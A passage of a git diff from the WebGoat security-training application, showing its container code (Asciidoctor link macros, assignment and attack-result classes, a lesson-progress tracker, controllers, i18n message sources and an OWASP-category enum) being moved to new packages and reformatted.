org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class WebGoatTmpDirMacro extends InlineMacroProcessor { + + public WebGoatTmpDirMacro(String macroName) { + super(macroName); + } + + public WebGoatTmpDirMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", env); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java new file mode 100644 index 000000000..09658e8b2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class WebGoatVersionMacro extends InlineMacroProcessor { + + public WebGoatVersionMacro(String macroName) { + super(macroName); + } + + public WebGoatVersionMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", webgoatVersion); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java new file mode 100644 index 000000000..9ab0fac86 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java @@ -0,0 +1,73 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +/** + * Usage in asciidoc: + * + *

webWolfLink:here[] will display a href with here as text + */ +public class WebWolfMacro extends InlineMacroProcessor { + + public WebWolfMacro(String macroName) { + super(macroName); + } + + public WebWolfMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String linkText, Map attributes) { + var env = EnvironmentExposure.getEnv(); + var hostname = determineHost(env.getProperty("webwolf.port")); + var target = (String) attributes.getOrDefault("target", "home"); + var href = hostname + "/" + target; + + // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href + if (displayCompleteLinkNoFormatting(attributes)) { + linkText = href; + } + + var options = new HashMap(); + options.put("type", ":link"); + options.put("target", href); + attributes.put("window", "_blank"); + return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert(); + } + + private boolean displayCompleteLinkNoFormatting(Map attributes) { + return attributes.values().stream().anyMatch(a -> a.equals("noLink")); + } + + /** + * Determine the host from the hostname and ports that were used. The purpose is to make it + * possible to use the application behind a reverse proxy. For instance in the docker + * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the + * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1 + * www.webgoat.local www.webwolf.local + */ + private String determineHost(String port) { + HttpServletRequest request = + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + String host = request.getHeader("Host"); + int semicolonIndex = host.indexOf(":"); + if (semicolonIndex == -1 || host.endsWith(":80")) { + host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local"); + } else { + host = host.substring(0, semicolonIndex); + host = host.concat(":").concat(port); + } + return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : ""); + } + + protected boolean includeWebWolfContext() { + return true; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java new file mode 100644 index 000000000..58b12e547 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; + +/** + * Usage in asciidoc: + * + *

webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will + * display the complete url, for example: http://WW_HOST:WW_PORT/landing + */ +public class WebWolfRootMacro extends WebWolfMacro { + + public WebWolfRootMacro(String macroName) { + super(macroName); + } + + public WebWolfRootMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + protected boolean includeWebWolfContext() { + return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java new file mode 100644 index 000000000..c48fb2f23 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.assignments; + +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Autowired; + +public abstract class AssignmentEndpoint implements Initializeable { + + @Autowired private WebSession webSession; + @Autowired private UserSessionData userSessionData; + @Getter @Autowired private PluginMessages messages; + + protected WebSession getWebSession() { + return webSession; + } + + protected UserSessionData getUserSessionData() { + return userSessionData; + } + + /** + * Convenience method for create a successful result: + * + *

- Assignment is set to solved - Feedback message is set to 'assignment.solved' + * + *

Of course you can overwrite these values in a specific lesson + * + * @return a builder for creating a result from a lesson + * @param assignment + */ + protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) { + return AttackResult.builder(messages) + .lessonCompleted(true) + .attemptWasMade() + .feedback("assignment.solved") + .assignment(assignment); + } + + /** + * Convenience method for create a failed result: + * + *

- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved' + * + *

Of course you can overwrite these values in a specific lesson + * + * @return a builder for creating a result from a lesson + * @param assignment + */ + protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) { + return AttackResult.builder(messages) + .lessonCompleted(false) + .attemptWasMade() + .feedback("assignment.not.solved") + .assignment(assignment); + } + + protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) { + return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment); + } + + @Override + public void initialize(WebGoatUser user) {} +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentHints.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java similarity index 69% rename from webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentHints.java rename to src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java index 6d29dbe6f..bfea97438 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentHints.java +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java @@ -1,16 +1,14 @@ -package org.owasp.webgoat.assignments; +package org.owasp.webgoat.container.assignments; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; -/** - * Created by nbaars on 1/14/17. - */ +/** Created by nbaars on 1/14/17. */ @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentHints { - String[] value() default {}; + String[] value() default {}; } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentPath.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java similarity index 63% rename from webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentPath.java rename to src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java index bb7f31a69..0c1993393 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentPath.java +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java @@ -1,22 +1,19 @@ -package org.owasp.webgoat.assignments; - -import org.springframework.web.bind.annotation.RequestMethod; +package org.owasp.webgoat.container.assignments; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; +import org.springframework.web.bind.annotation.RequestMethod; -/** - * Created by nbaars on 1/14/17. - */ +/** Created by nbaars on 1/14/17. */ @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentPath { - String[] path() default {}; + String[] path() default {}; - RequestMethod[] method() default {}; + RequestMethod[] method() default {}; - String value() default ""; + String value() default ""; } diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java new file mode 100644 index 000000000..3cf353c21 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.assignments; + +import static org.apache.commons.text.StringEscapeUtils.escapeJson; + +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; + +public class AttackResult { + + public static class AttackResultBuilder { + + private boolean lessonCompleted; + private PluginMessages messages; + private Object[] feedbackArgs; + private String feedbackResourceBundleKey; + private String output; + private Object[] outputArgs; + private AssignmentEndpoint assignment; + private boolean attemptWasMade = false; + + public AttackResultBuilder(PluginMessages messages) { + this.messages = messages; + } + + public AttackResultBuilder lessonCompleted(boolean lessonCompleted) { + this.lessonCompleted = lessonCompleted; + this.feedbackResourceBundleKey = "lesson.completed"; + return this; + } + + public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) { + this.lessonCompleted = lessonCompleted; + this.feedbackResourceBundleKey = resourceBundleKey; + return this; + } + + public AttackResultBuilder feedbackArgs(Object... args) { + this.feedbackArgs = args; + return this; + } + + public AttackResultBuilder feedback(String resourceBundleKey) { + this.feedbackResourceBundleKey = resourceBundleKey; + return this; + } + + public AttackResultBuilder output(String output) { + this.output = output; + return this; + } + + public AttackResultBuilder outputArgs(Object... args) { + this.outputArgs = args; + return this; + } + + public AttackResultBuilder attemptWasMade() { + this.attemptWasMade = true; + return this; + } + + public AttackResult build() { + return new AttackResult( + lessonCompleted, + messages.getMessage(feedbackResourceBundleKey, feedbackArgs), + messages.getMessage(output, output, outputArgs), + assignment.getClass().getSimpleName(), + attemptWasMade); + } + + public AttackResultBuilder assignment(AssignmentEndpoint assignment) { + this.assignment = assignment; + return this; + } + } + + @Getter private boolean lessonCompleted; + @Getter private String feedback; + @Getter private String output; + @Getter private final String assignment; + @Getter private boolean attemptWasMade; + + public AttackResult( + boolean lessonCompleted, + String feedback, + String output, + String assignment, + boolean attemptWasMade) { + this.lessonCompleted = lessonCompleted; + this.feedback = escapeJson(feedback); + this.output = escapeJson(output); + this.assignment = assignment; + this.attemptWasMade = attemptWasMade; + } + + public static AttackResultBuilder builder(PluginMessages messages) { + return new AttackResultBuilder(messages); + } + + public boolean assignmentSolved() { + return lessonCompleted; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java new file mode 100644 index 000000000..4e76af9d6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java @@ -0,0 +1,81 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.assignments; + +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.core.MethodParameter; +import org.springframework.http.MediaType; +import org.springframework.http.converter.HttpMessageConverter; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice; + +@RestControllerAdvice +public class LessonTrackerInterceptor implements ResponseBodyAdvice { + + private UserTrackerRepository userTrackerRepository; + private WebSession webSession; + + public LessonTrackerInterceptor( + UserTrackerRepository userTrackerRepository, WebSession webSession) { + this.userTrackerRepository = userTrackerRepository; + this.webSession = webSession; + } + + @Override + public boolean supports( + MethodParameter methodParameter, Class> clazz) { + return true; + } + + @Override + public Object beforeBodyWrite( + Object o, + MethodParameter methodParameter, + MediaType mediaType, + Class> aClass, + ServerHttpRequest serverHttpRequest, + ServerHttpResponse serverHttpResponse) { + if (o instanceof AttackResult attackResult) { + trackProgress(attackResult); + } + return o; + } + + protected AttackResult trackProgress(AttackResult attackResult) { + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + if (userTracker == null) { + userTracker = new UserTracker(webSession.getUserName()); + } + if (attackResult.assignmentSolved()) { + userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment()); + } else { + userTracker.assignmentFailed(webSession.getCurrentLesson()); + } + userTrackerRepository.saveAndFlush(userTracker); + return attackResult; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java new file mode 100644 index 000000000..7d94f6044 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java @@ -0,0 +1,90 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container.controller; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.servlet.ModelAndView; + +@Controller +public class StartLesson { + + private final WebSession ws; + private final Course course; + + public StartLesson(WebSession ws, Course course) { + this.ws = ws; + this.course = course; + } + + /** + * start. + * + * @return a {@link ModelAndView} object. + */ + @RequestMapping( + path = "startlesson.mvc", + method = {RequestMethod.GET, RequestMethod.POST}) + public ModelAndView start() { + var model = new ModelAndView(); + + model.addObject("course", course); + model.addObject("lesson", ws.getCurrentLesson()); + model.setViewName("lesson_content"); + + return model; + } + + @RequestMapping( + value = {"*.lesson"}, + produces = "text/html") + public ModelAndView lessonPage(HttpServletRequest request) { + var model = new ModelAndView("lesson_content"); + var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson + var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson")); + + course.getLessons().stream() + .filter(l -> l.getId().equals(lessonName)) + .findFirst() + .ifPresent( + lesson -> { + ws.setCurrentLesson(lesson); + model.addObject("lesson", lesson); + }); + + return model; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/controller/Welcome.java b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java new file mode 100644 index 000000000..fddc5f640 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java @@ -0,0 +1,71 @@ +/** + * ************************************************************************************************ + * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @since October 28, 2003 + * @version $Id: $Id + */ +package org.owasp.webgoat.container.controller; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.servlet.ModelAndView; + +/** + * Welcome class. + * + * @author rlawson + * @version $Id: $Id + */ +@Controller +public class Welcome { + + private static final String WELCOMED = "welcomed"; + + /** + * welcome. + * + * @param request a {@link javax.servlet.http.HttpServletRequest} object. + * @return a {@link org.springframework.web.servlet.ModelAndView} object. + */ + @GetMapping(path = {"welcome.mvc"}) + public ModelAndView welcome(HttpServletRequest request) { + + // set the welcome attribute + // this is so the attack servlet does not also + // send them to the welcome page + HttpSession session = request.getSession(); + if (session.getAttribute(WELCOMED) == null) { + session.setAttribute(WELCOMED, "true"); + } + + // go ahead and send them to webgoat (skip the welcome page) + ModelAndView model = new ModelAndView(); + model.setViewName("forward:/attack?start=true"); + return model; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Language.java b/src/main/java/org/owasp/webgoat/container/i18n/Language.java similarity index 81% rename from webgoat-container/src/main/java/org/owasp/webgoat/i18n/Language.java rename to src/main/java/org/owasp/webgoat/container/i18n/Language.java index d2fe5bd95..76e2a9728 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Language.java +++ b/src/main/java/org/owasp/webgoat/container/i18n/Language.java @@ -23,18 +23,17 @@ *

*/ -package org.owasp.webgoat.i18n; +package org.owasp.webgoat.container.i18n; +import java.util.Locale; import lombok.AllArgsConstructor; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.LocaleResolver; -import java.util.Locale; - /** - * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the HttpRequest object - * when asking for a Locale. + * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the + * HttpRequest object when asking for a Locale. * * @author nbaars * @date 2/7/17 @@ -42,10 +41,10 @@ import java.util.Locale; @AllArgsConstructor public class Language { - private final LocaleResolver localeResolver; - - public Locale getLocale() { - return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); - } + private final LocaleResolver localeResolver; + public Locale getLocale() { + return localeResolver.resolveLocale( + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Messages.java b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java similarity index 65% rename from webgoat-container/src/main/java/org/owasp/webgoat/i18n/Messages.java rename to src/main/java/org/owasp/webgoat/container/i18n/Messages.java index e7758c43c..5fd9c9c92 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/i18n/Messages.java +++ b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java @@ -23,38 +23,37 @@ *

*/ -package org.owasp.webgoat.i18n; +package org.owasp.webgoat.container.i18n; +import java.util.Properties; import lombok.AllArgsConstructor; import org.springframework.context.support.ReloadableResourceBundleMessageSource; -import java.util.Properties; - /** - *

ExposedReloadableResourceMessageBundleSource class.

- * Extends the reloadable message source with a way to get all messages + * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a + * way to get all messages * * @author zupzup */ @AllArgsConstructor public class Messages extends ReloadableResourceBundleMessageSource { - private final Language language; + private final Language language; - /** - * Gets all messages for presented Locale. - * - * @return all messages - */ - public Properties getMessages() { - return getMergedProperties(language.getLocale()).getProperties(); - } + /** + * Gets all messages for presented Locale. + * + * @return all messages + */ + public Properties getMessages() { + return getMergedProperties(language.getLocale()).getProperties(); + } - public String getMessage(String code, Object... args) { - return getMessage(code, args, language.getLocale()); - } + public String getMessage(String code, Object... args) { + return getMessage(code, args, language.getLocale()); + } - public String getMessage(String code, String defaultValue, Object... args) { - return super.getMessage(code, args, defaultValue, language.getLocale()); - } + public String getMessage(String code, String defaultValue, Object... args) { + return super.getMessage(code, args, defaultValue, language.getLocale()); + } } diff --git a/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java new file mode 100644 index 000000000..16df55cb2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.i18n; + +import java.io.IOException; +import java.util.Properties; +import org.springframework.context.support.ReloadableResourceBundleMessageSource; +import org.springframework.core.io.support.ResourcePatternResolver; + +/** + * Message resource bundle for plugins. + * + * @author nbaars + * @date 2/4/17 + */ +public class PluginMessages extends ReloadableResourceBundleMessageSource { + private static final String PROPERTIES_SUFFIX = ".properties"; + + private final Language language; + private final ResourcePatternResolver resourcePatternResolver; + + public PluginMessages( + Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { + this.language = language; + this.setParentMessageSource(messages); + this.setBasename("WebGoatLabels"); + this.resourcePatternResolver = resourcePatternResolver; + } + + @Override + protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) { + Properties properties = new Properties(); + long lastModified = System.currentTimeMillis(); + + try { + var resources = + resourcePatternResolver.getResources( + "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX); + for (var resource : resources) { + String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, ""); + PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder); + properties.putAll(holder.getProperties()); + } + } catch (IOException e) { + logger.error("Unable to read plugin message", e); + } + + return new PropertiesHolder(properties, lastModified); + } + + public Properties getMessages() { + return getMergedProperties(language.getLocale()).getProperties(); + } + + public String getMessage(String code, Object... args) { + return getMessage(code, args, language.getLocale()); + } + + public String getMessage(String code, String defaultValue, Object... args) { + return super.getMessage(code, args, defaultValue, language.getLocale()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java new file mode 100644 index 000000000..92e8d0e9e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java @@ -0,0 +1,72 @@ +package org.owasp.webgoat.container.lessons; + +import java.util.ArrayList; +import java.util.List; +import javax.persistence.*; +import lombok.*; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author nbaars + * @version $Id: $Id + * @since November 25, 2016 + */ +@Getter +@EqualsAndHashCode +@Entity +public class Assignment { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + private String name; + private String path; + + @Transient private List hints; + + private Assignment() { + // Hibernate + } + + public Assignment(String name) { + this(name, name, new ArrayList<>()); + } + + public Assignment(String name, String path, List hints) { + if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) { + throw new IllegalStateException( + "The path of assignment '" + + name + + "' overrides WebGoat endpoints, please choose a path within the scope of the" + + " lesson"); + } + this.name = name; + this.path = path; + this.hints = hints; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Category.java b/src/main/java/org/owasp/webgoat/container/lessons/Category.java new file mode 100644 index 000000000..9fd8317da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Category.java @@ -0,0 +1,67 @@ +package org.owasp.webgoat.container.lessons; + +import lombok.Getter; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +public enum Category { + INTRODUCTION("Introduction", 5), + GENERAL("General", 100), + + A1("(A1) Broken Access Control", 301), + A2("(A2) Cryptographic Failures", 302), + A3("(A3) Injection", 303), + + A5("(A5) Security Misconfiguration", 305), + A6("(A6) Vuln & Outdated Components", 306), + A7("(A7) Identity & Auth Failure", 307), + A8("(A8) Software & Data Integrity", 308), + A9("(A9) Security Logging Failures", 309), + A10("(A10) Server-side Request Forgery", 310), + + CLIENT_SIDE("Client side", 1700), + + CHALLENGE("Challenges", 3000); + + @Getter private String name; + @Getter private Integer ranking; + + Category(String name, Integer ranking) { + this.name = name; + this.ranking = ranking; + } + + @Override + public String toString() { + return getName(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java new file mode 100644 index 000000000..c6be7cfad --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java @@ -0,0 +1,143 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see 